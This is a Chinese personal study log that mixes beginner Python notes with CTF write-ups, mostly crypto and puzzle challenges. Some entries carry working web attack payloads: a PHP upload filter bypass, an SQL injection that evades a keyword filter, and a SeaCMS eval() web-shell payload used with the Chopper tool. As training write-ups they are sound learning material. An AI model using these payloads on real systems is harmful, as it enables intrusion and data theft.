記錄
2019-07-06:
Python是一門解釋型語言,擁有許多強大的標准庫,是完全面向對象語言
編譯型語言先編譯再運行比python更快
如果需要一段關鍵代碼運行得更快或者希望某些算法不公開,可以把部分程序用c或c++編寫,然后在python程序中使用它們
缺點:
運行速度慢
國內市場較小
中文資料匱乏
可以使用任意文本編輯軟件做python開發
通常文件擴展名.py
常見錯誤:
手誤:
如:print寫成pirnt
python是一門解釋型語言一行錯誤,這行上面的語句任然能執行
將多條print寫在一行:
不建議把多條語句寫在一行,
縮進錯誤:
代碼排列不整齊多加了空格縮進等
python2.X默認不支持中文
python3支持中文
python3命令使用python3
極少部分第三方庫不支持python3.0語法,建議
先使用python3.0版本進行開發
然后使用python2.6、2.7執行,並進行一些兼容性處理
python的解釋器:
交互式運行python程序
首選ipython支持自動補全,自動縮進,支持bash shell命令(控制台命令)
python單行注釋 #print("hello world")
為了整齊建議在#后面添加一個空格
python多行注釋""" 代碼 """
算數運算符:
2019-07-07:
writeup:
題目一:看我回旋13踢
密文:
synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}
使用rot13解密得flag:
flag{5cd1004d-86a5-46d8-b720-beb5ba0417e1}
題目二:flag不在變量中
構造payload:?hello=file("flag.php")
題目三:Upload
上傳php
<?php
$fh=fopen('../flag.php','r');
echo fread($fh,filesize('../falg.php'));
fclose($fh);
?>
發現<?php 被過濾了
使用script標簽
<script language='PHP'>
$fh=fopen('../flag.'.strtolower('PHP'));
fclose($fh);
</script>
成功在上傳后文件源碼中找到flag
題目四:單身狗
題目中有一個二維碼但右下角被一只單身狗給遮擋住了
使用ps將左上角的方塊復制一份覆蓋掉單身狗,使用在線二維碼掃描成功掃描出flag
題目五:女神在哪?
下載附件包含一堆聊天記錄截圖和兩張風景圖
在聊天記錄里面發現女神在溫州附近打開地圖找到溫州
有發現女神鏈接的WiFi是jthjfsbg,推測是一個賓館
wifi開頭為qt在溫州附近找到青田縣然后找到賓館為青田風尚賓館
得到flag{青田風尚賓館}
題目六:SQL
題目提示是SQL注入使用order by測試數據庫列發現出現inject code提示
猜測關鍵字過濾
使用/**/將關鍵字隔離發現不行
再使用<>分割關鍵字成功
使用ord<>er by 成功繞過關鍵字過濾
使用二分法找到數據庫有三列 order by 3
注入數據庫:
union select 1,table_name,3 from information_schema_tables where table_name=databse()
找到info和users數據表
union select 1,column_name,3 from information_schema_columns where table_name='info'
找到info表里的flAg_T5ZNdrm字段
unio<>n%20sele<>ct%20id,flAg_T5ZNdrm,title%20fro<>m%20info
成功找到flag
2019-07-09:
題目一:回歸原始
打開發現一串二進制數,使用python編寫算法解碼
s="011001100110110001100001011001110111101101100011011001010011001101100101001101010011000000110010011000110010110100110100001110000110001100111001001011010011010001100100001101010011000000101101001110010011100100111001001100000010110100110101011000100011100000110001011001000110001000110110011001100110001101100010011001100011000001111101"
print ("".join([chr(c) for c in [int(t,2) for t in [s[0+x*8:8+x*8] for x in range(42)]]]))
成功解出flag
2019-07-11-python:
python中的變量;
變量名 = 變量值
ipython是交互式直接輸入變量名即可輸出變量值
pycharm是解釋器執行需要使用print函數輸出變量值
2019-07-14:
之前寫到一半斷網后刷新沒了,就沒有再寫了但每天的任務是完成的,這是今天的截圖
2019-07-15:
1題目名稱:破譯
打開題目發現一大串排列混亂的英文字母利用密碼工具進行凱撒移位解密發現可疑字符串F8AG { GS182D9HCT9ABC5D}
推測為移位后的flag根據文本推測出8為L將所有文本進行移位多次重復解出將文本解密出來成功得到flag
2題目名稱:聽說是rc4算法
打開題目發現是一串未知的字符串題目提示是rc4算法用python編寫rc4算法成功輸出flag
3題目名稱:classical
下載文件發現文件內容為一段奇怪的子符串使用https://quipqiup.com/進行詞頻分析
得到一串奇怪的字符串LyjtL3fvnSRlo2xvKIjrK2ximSHkJ3ZhJ2Hto3x9
進行凱撒解密發現沒什么東西但將凱撒解出的字符串
ZmxhZ3tjbGFzc2ljYWxfY2lwaGVyX3NvX2Vhc3l9
進行base64解密出現了flag
4題目RSA?
打開flag.txt發現三個變量n,e,c值都是十六進制0x開頭
使用yafu分解N有困難,
對c使用cyberchef進行轉換(hex to str)得到flag
5題目名稱:簽到題
這是一道簽到題下載i春秋手機客戶端加入ctf競賽圈得flag
6題目名稱:永不消逝的電波
下載題目發現是一段音頻播放發現是摩斯密碼自己在本子上寫出來了后來用audacity打開破解摩斯密碼發現自己寫的錯了12處.....
破解后得到一串字符串使用柵欄密碼列出所有組合在分四欄時發現有意義的字符串將字符串用flag{***}格式提交成功解題
2019-07-16:
1:
打開題目為海洋cms漏洞構造payload:
/search.php?searchtype=5&tid=&area=eval($_POST[1])
通過菜刀密碼為1連接在數據庫中找到flag
2